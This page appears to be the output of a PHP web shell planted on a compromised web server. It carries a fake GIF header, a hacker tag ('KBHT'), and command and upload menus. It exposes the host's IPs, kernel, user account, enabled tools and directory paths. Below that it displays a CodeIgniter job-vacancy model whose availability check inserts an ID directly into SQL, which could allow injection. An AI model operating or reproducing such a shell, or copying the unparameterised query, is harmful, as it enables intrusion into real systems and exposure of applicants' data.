GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.135.202.38
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../css/../jobs/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../css/../jobs/application/models/admin/VacancyManagement.php
<?php

/**
 * Description of VacancyManagement
 *
 * @author Softpro India Pvt. Ltd
 */
class VacancyManagement extends CI_Model {

    //put your code here
    function saveVacancy($vacancyData) {
        $this->db->insert("vacancy_mst", $vacancyData);
        return $this->db->insert_id();
    }

    function updateVacancy($vacancyData) {
        $this->db->where("vm_id", $vacancyData["vm_id"]);
        return $this->db->update("vacancy_mst", $vacancyData);
    }

    function getVacancies() {
        $this->db->select("*");
        $this->db->from("vacancy_mst v");
        $this->db->join("designation_mst desig", "desig.desig_id=v.desig_id");
        $this->db->join("session_mst sess", "sess.session_id=v.session_id");
        $this->db->join("department_mst dept", "v.dm_id=dept.dm_id");
        $this->db->join("category_mst cat", "cat.cm_id=desig.cm_id");
        $this->db->order_by("v.vm_added_on", "DESC");
        return $this->db->get();
    }

    function checkVacancyAvailability($vacancyData, $vm_id = '') {
        $this->db->select("*");
        $this->db->from("vacancy_mst");
        $this->db->where("desig_id", $vacancyData["desig_id"]);
        $this->db->where("dm_id", $vacancyData["dm_id"]);
        $this->db->where("session_id", $vacancyData["session_id"]);
        //$this->db->where("start_date ", $vacancyData["session_id"]);
        if ($vm_id != '') {
            $this->db->where("vm_id NOT IN ($vm_id)");
        }
        return $this->db->get();
    }

    function getVacancyByID($vm_id) {
        $this->db->select("*");
        $this->db->from("vacancy_mst v");
        $this->db->join("designation_mst desig", "desig.desig_id=v.desig_id");
        $this->db->join("department_mst dept", "dept.dm_id=v.dm_id");
        $this->db->join("category_mst cat", "cat.cm_id=desig.cm_id");
        $this->db->where("v.vm_id", $vm_id);
        return $this->db->get();
    }

    function getTotalOpenings() {
        $this->db->select("*");
        $this->db->from("vacancy_mst vm");
        $this->db->join("session_mst sess", "sess.session_id=vm.session_id");
        $this->db->where("sess.session_status", "C");
        return $this->db->get();
    }


    function getOpeningsPerSessionReportInJSON() {
        $dataValues = [];
        $dataLabels = [];
        $this->db->select("COUNT(*) as openingCount,sess.session_id,sess.session_name");
        $this->db->from("vacancy_mst vm");
        $this->db->join("session_mst sess", "sess.session_id=vm.session_id");
        $this->db->group_by("sess.session_id,sess.session_name");
        $data = $this->db->get()->result();

        foreach ($data as $row) {
            array_push($dataValues, $row->openingCount);
            array_push($dataLabels, $row->session_name);
        }
        return json_encode(array(
            'data' => $dataValues,
            'labels' => $dataLabels
        ));
    }

}

KBHT - 2023